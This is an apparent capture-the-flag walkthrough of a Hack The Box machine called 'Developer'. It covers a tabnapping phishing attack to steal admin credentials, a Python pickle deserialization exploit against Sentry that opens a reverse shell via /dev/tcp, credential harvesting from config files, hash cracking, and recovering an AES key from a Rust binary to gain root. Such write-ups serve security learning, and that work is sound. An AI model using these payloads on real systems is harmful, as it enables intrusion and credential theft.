Enumeration
We will start as usual with a quick scan:
Starting Nmap 7.92 ( https://nmap.org ) at 2021-12-01 13:29 EET
Nmap scan report for 10.10.11.103
Host is up (0.068s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 36:aa:93:e4:a4:56:ab:39:86:66:bf:3e:09:fa:eb:e0 (RSA)
| 256 11:fb:e9:89:2e:4b:66:40:7b:6b:01:cf:f2:f2:ee:ef (ECDSA)
|_ 256 77:56:93:6e:5f:ea:e2:ad:b0:2e:cf:23:9d:66:ed:12 (ED25519)
80/tcp open http Apache httpd 2.4.41
|_http-title: Did not follow redirect to http://developer.htb/
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: developer.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 15.53 seconds
We can create an account and see some challenges uploaded to:
http://developer.htb/media/. Here there is a file called
phished_list.zip
, which contains the following row:
61 Ruddie Moehle admin@developer.htb DHTB{H1dD3N_C0LuMn5_FtW} Intuitive even-keeled concept
But it seems like it is for a challenge, so I just solved unintendedly another challenge hahaha.
We can visit admin
profile at the following page:
http://developer.htb/profile/admin/
Using gobuster
, we can see any dir that contains admin is redirected
to the admin/
page.
/fileadmin (Status: 301) [Size: 0] [--> /fileadmin/]
/dashboard (Status: 301) [Size: 0] [--> /dashboard/]
/sysadmin (Status: 301) [Size: 0] [--> /sysadmin/]
/ur-admin (Status: 301) [Size: 0] [--> /ur-admin/]
/wp-admin (Status: 301) [Size: 0] [--> /wp-admin/]
/phpmyadmin (Status: 301) [Size: 0] [--> /phpmyadmin/]
/webadmin (Status: 301) [Size: 0] [--> /webadmin/]
/bigadmin (Status: 301) [Size: 0] [--> /bigadmin/]
/sshadmin (Status: 301) [Size: 0] [--> /sshadmin/]
/useradmin (Status: 301) [Size: 0] [--> /useradmin/]
/about_admin (Status: 301) [Size: 0] [--> /about_admin/]
/staradmin (Status: 301) [Size: 0] [--> /staradmin/]
/directadmin (Status: 301) [Size: 0] [--> /directadmin/]
/pgadmin (Status: 301) [Size: 0] [--> /pgadmin/]
It seems like there is some way to submit writeups. Once we have
submited the flag of phished_list
, we can now submit a writeup in the
challenge.
Your walkthroughs will be on your profile page and public profile page. Admins will check the walkthrough as soon as they can and reserve the right to delete them where necessary.
Admins will check the walkthrough… If we submit a local http server as writeup, we can see a connection from the admin:
❯ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.103 - - [01/Dec/2021 14:07:53] "GET /scan.txt HTTP/1.1" 200 -
10.10.11.103 - - [01/Dec/2021 14:07:53] code 404, message File not found
10.10.11.103 - - [01/Dec/2021 14:07:53] "GET /favicon.ico HTTP/1.1" 404 -
Getting the foothold
The link is inserted in your profile as:
<a id="walkthrough_link" href="http://10.10.14.81:8080/scan.txt" target="_blank"
>Phished List</a
>
A link with target="_blank"
without rel="noopener noreferrer"
can
lead to tabnapping. Tabnapping allows the visited page in the new tab to
change the page in the last tab.
This might seem easy to identify, but if you are not paying attention, the page you were in might be replaced to a phishing page. In this case, we could try to phish admin credentials by phishing the login page of the website (as if the admin lost its session).
I simply used Google Chrome to download the login page and the resources
needed; setoolkit
is not working at this moment.
I removed the error message from the login, updated the method of the
form to get
(to easily see the credentials) and pointed the action to
another port (so I can see the credentials in another terminal).
<form class="form-signin" action="//10.10.14.81:8081" method="get"></form>
Then I created writeup.html
which will perform the tabnapping.
<html>
<script>
if (window.opener)
window.opener.parent.location.replace("//10.10.14.81:8080/login.html");
if (window.parent != window)
window.parent.location.replace("//10.10.14.81:8080/login.html");
</script>
</html>
Then we can upload the writeup as this file in our local server. We will see traffic from the server pointing to the fake login page (it worked).
❯ python -m http.server 8080
Serving HTTP on 0.0.0.0 port 8080 (http://0.0.0.0:8080/) ...
10.10.11.103 - - [01/Dec/2021 18:51:33] "GET /writeup.html HTTP/1.1" 200 -
10.10.11.103 - - [01/Dec/2021 18:51:33] "GET /login.html HTTP/1.1" 200 -
10.10.11.103 - - [01/Dec/2021 18:51:34] code 404, message File not found
10.10.11.103 - - [01/Dec/2021 18:51:34] "GET /static/css/bootstrap.min.css HTTP/1.1" 404 -
And now you can see in the other terminal the credentials
admin:SuperSecurePassword@HTB2021
:
❯ python -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
10.10.11.103 - - [01/Dec/2021 18:51:35] "GET /?csrfmiddlewaretoken=DNASuXuPkU07d5eNEABgOZsAzDPk3tS3BYJrWmTahQdvAUIYHsStaSpBQvSVTGMs&login=admin&password=SuperSecurePassword%40HTB2021 HTTP/1.1" 200 -
We can login at /admin
with those credentials, and we will be able to
see the administration page.
In the Sites page, there is a list of domains. There is one subdomain:
developer-sentry.developer.htb
. Let’s visit it and see what it is
about.
Oh no, there is a new login page, but the credentials we got are not
working. It is running Sentry 8.0.0
, which doesn’t seem vulnerable
unless we are logged in.
I tried to check which users existed with the recover the password
option, but neither admin
or the ones registered on the other page
work.
We know the name of the admin: Jacob Taylor. Maybe trying all
combinations of name or surname and domains developer.htb
? After some
time, I could simply login with jacob@developer.htb
and the same
password.
I found an exploit for version 8.2.0, so we could try it:
It seems like theauditlogentry
is running, so we might be able to
exploit it:
http://developer-sentry.developer.htb/admin/sentry/auditlogentry/The exploit doesn’t work with python3
, I’m going to try to use the one
in the pdf linked:
from cPickle import dumps
import subprocess
from base64 import b64encode
from zlib import compress
from shlex import split
class PickleExploit(object):
def __init__(self, command_line):
self.args = split(command_line)
def __reduce__(self):
return (subprocess.Popen, (self.args,))
print b64encode(compress(dumps(PickleExploit('/bin/bash -c "bash -i >& /dev/tcp/10.10.14.81/6666 0>&1"'))))
If we update a log entry with the output of the script, we will receive
a connection in netcat
. And we will be into www-data!
Getting the user flag
We have to get to user mark
or karl
.
If we look for the configuration of the page:
www-data@developer:~/developer_ctf/developer_ctf$ cat settings.py
We can see some credentials for postgresql
.
DATABASES = {
'default': {
'ENGINE': 'django.db.backends.postgresql',
'NAME': 'platform',
'USER': 'ctf_admin',
'PASSWORD': 'CTFOG2021',
'HOST': 'localhost',
'PORT': '',
}
}
We can connect to the database with them.
psql -h localhost -d platform -U ctf_admin -W
Password for user ctf_admin: CTFOG2021
platform=>\dt
But this gives us access to the CTF page, not the sentry
one which
contained a user called karl
. Also, I couldn’t login with any
registered user, so I assume they are not privileged ones.
So I will try to enter the sentry
database.
Name | Owner | Encoding | Collate | Ctype | Access privileges
-----------+----------+----------+-------------+-------------+-----------------------
platform | postgres | UTF8 | en_GB.UTF-8 | en_GB.UTF-8 |
postgres | postgres | UTF8 | en_GB.UTF-8 | en_GB.UTF-8 |
sentry | postgres | UTF8 | en_GB.UTF-8 | en_GB.UTF-8 |
template0 | postgres | UTF8 | en_GB.UTF-8 | en_GB.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
template1 | postgres | UTF8 | en_GB.UTF-8 | en_GB.UTF-8 | =c/postgres +
| | | | | postgres=CTc/postgres
We can change database like this:
platform=> \c sentry
\c sentry
Password: CTFOG2021
sentry=> \dt
We don’t have reading permissions on the tables. We may find other login
credentials for the sentry
page. If we look for the word sentry
in
all the machine, we find the following:
/etc/sentry
/etc/sentry/sentry.conf.py
In the last one, we find the following:
DATABASES = {
'default': {
'ENGINE': 'sentry.db.postgres',
'NAME': 'sentry',
'USER': 'sentry',
'PASSWORD': 'SentryPassword2021',
'HOST': 'localhost',
'PORT': '',
}
}
Quite secure password, we can try to login with it:
psql -h localhost -d sentry -U sentry -W
Password for user sentry: SentryPassword2021
And we can get the hash of karl
.
sentry=# select * from auth_user;
pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=
We can decrypt it using hashcat
. It will automatically detect it as a
django hash. The decrypted password is insaneclownposse
.
pbkdf2_sha256$12000$wP0L4ePlxSjD$TTeyAB7uJ9uQprnr+mgRb8ZL8othIs32aGmqahx1rGI=:insaneclownposse
Then you can simply swith user to karl:
su karl
And we will be inside of user! You can now take the user flag.
You can also login via the ssh service, so we get a better shell.
Privilege escalation
We can check for privileged calls:
sudo -l
And we will see an executable that can be ran as root.
Matching Defaults entries for karl on developer:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User karl may run the following commands on developer:
(ALL : ALL) /root/.auth/authenticator
If we run it we get prompt for a pasword:
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
This may be like a reverse engineer challenge.
authenticator: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=dec8c0adbc231a7465e5df021c1f9e6695fe6a2f, for GNU/Linux 3.2.0, with debug_info, not stripped
Looking at the strings
command output, it looks like it is a rust
executable. I will download the file with scp
for further inspection.
die
shows it is not compressed, so we may be able to just inspect it
as it is.
We can see a symbol of a rust function: crypto::aes::ctr
. If you look
at the documentation, this are its parameters:
pub fn ctr(
key_size: KeySize,
key: &[u8],
iv: &[u8]
) -> Box<SynchronousStreamCipher + 'static>
In this piece of code, we can identify these two vars as the key and iv parameters. If you keep executing the code (and looking at the source), you can see that it is using a length of 128.
.text:000055D554199916 lea rsi, [rsp+278h+var_118] ; key
.text:000055D55419991E lea rcx, [rsp+278h+var_108] ; iv
.text:000055D554199926 mov edx, 10h
.text:000055D55419992B mov r8d, 10h
.text:000055D554199931 mov edi, 0 ; ctr(keySize, key, iv)
.text:000055D554199936 call cs:_ZN6crypto3aes3ctr17h2e946f13694abc7dE_ptr ; crypto::aes::ctr::h2e946f13694abc7d
This is the key:
[stack]:00007FFFDE1B2390 db 0A3h
[stack]:00007FFFDE1B2391 db 0E8h
[stack]:00007FFFDE1B2392 db 32h ; 2
[stack]:00007FFFDE1B2393 db 34h ; 4
[stack]:00007FFFDE1B2394 db 5Ch ; \
[stack]:00007FFFDE1B2395 db 79h ; y
[stack]:00007FFFDE1B2396 db 91h
[stack]:00007FFFDE1B2397 db 61h ; a
[stack]:00007FFFDE1B2398 db 9Eh
[stack]:00007FFFDE1B2399 db 20h
[stack]:00007FFFDE1B239A db 0D4h
[stack]:00007FFFDE1B239B db 3Dh ; =
[stack]:00007FFFDE1B239C db 0BEh
[stack]:00007FFFDE1B239D db 0F4h
[stack]:00007FFFDE1B239E db 0F5h
[stack]:00007FFFDE1B239F db 0D5h
The formated key is the following:
A3 E8 32 34 5C 79 91 61 9E 20 D4 3D BE F4 F5 D5
And this is the IV:
[stack]:00007FFFDE1B23A0 db 76h ; v
[stack]:00007FFFDE1B23A1 db 1Fh
[stack]:00007FFFDE1B23A2 db 59h ; Y
[stack]:00007FFFDE1B23A3 db 0E3h
[stack]:00007FFFDE1B23A4 db 0D9h
[stack]:00007FFFDE1B23A5 db 0D2h
[stack]:00007FFFDE1B23A6 db 95h
[stack]:00007FFFDE1B23A7 db 9Ah
[stack]:00007FFFDE1B23A8 db 0A7h
[stack]:00007FFFDE1B23A9 db 98h
[stack]:00007FFFDE1B23AA db 55h ; U
[stack]:00007FFFDE1B23AB db 0DCh
[stack]:00007FFFDE1B23AC db 6
[stack]:00007FFFDE1B23AD db 20h
[stack]:00007FFFDE1B23AE db 81h
[stack]:00007FFFDE1B23AF db 6Ah
The formated IV is the following:
76 1F 59 E3 D9 D2 95 9A A7 98 55 DC 06 20 81 6A
Also, if you continue executing until the symmetric encryption, another string appears in the stack:
[heap]:0000559BE21CAA10 db 0FEh
[heap]:0000559BE21CAA11 db 1Bh
[heap]:0000559BE21CAA12 db 25h ; %
[heap]:0000559BE21CAA13 db 0F0h
[heap]:0000559BE21CAA14 db 80h
[heap]:0000559BE21CAA15 db 6Ah ; j
[heap]:0000559BE21CAA16 db 97h
[heap]:0000559BE21CAA17 db 0CAh
[heap]:0000559BE21CAA18 db 78h ; x
[heap]:0000559BE21CAA19 db 80h
[heap]:0000559BE21CAA1A db 0FDh
[heap]:0000559BE21CAA1B db 58h ; X
[heap]:0000559BE21CAA1C db 0FCh
[heap]:0000559BE21CAA1D db 5Ch ; \
[heap]:0000559BE21CAA1E db 20h
[heap]:0000559BE21CAA1F db 23h ; #
[heap]:0000559BE21CAA20 db 6Ch ; l
[heap]:0000559BE21CAA21 db 0A2h
[heap]:0000559BE21CAA22 db 0DBh
[heap]:0000559BE21CAA23 db 0D0h
[heap]:0000559BE21CAA24 db 0E5h
[heap]:0000559BE21CAA25 db 2
[heap]:0000559BE21CAA26 db 0B5h
[heap]:0000559BE21CAA27 db 0FAh
[heap]:0000559BE21CAA28 db 0EBh
[heap]:0000559BE21CAA29 db 0C0h
[heap]:0000559BE21CAA2A db 0AFh
[heap]:0000559BE21CAA2B db 3Ah ; :
[heap]:0000559BE21CAA2C db 9Fh
[heap]:0000559BE21CAA2D db 27h ; '
[heap]:0000559BE21CAA2E db 15h
[heap]:0000559BE21CAA2F db 2Ch ; ,
Which formatted is the following:
FE 1B 25 F0 80 6A 97 CA 78 80 FD 58 FC 5C 20 23 6C A2 DB D0 E5 02 B5 FA EB C0 AF 3A 9F 27 15 2C
If we use this 3 hex strings in
cyberchef + AES Decrypt + Mode:
CTR, we get the key: RustForSecurity@Developer@2021:)
. We can now use
the authenticator executable:
Welcome to TheCyberGeek's super secure login portal!
Enter your password to access the super user:
RustForSecurity@Developer@2021:)
You have successfully authenticated
We will be prompted for a SSH public key. We can generate one locally
and copy the .pub
file.
Enter your SSH public key in now:
<PUBLIC-KEY>
You may now authenticate as root!
Then it will be added to /root/.ssh/authenticated_keys
, so we can now
login with ssh and get the root flag
!
References
target="_blank"
vuln: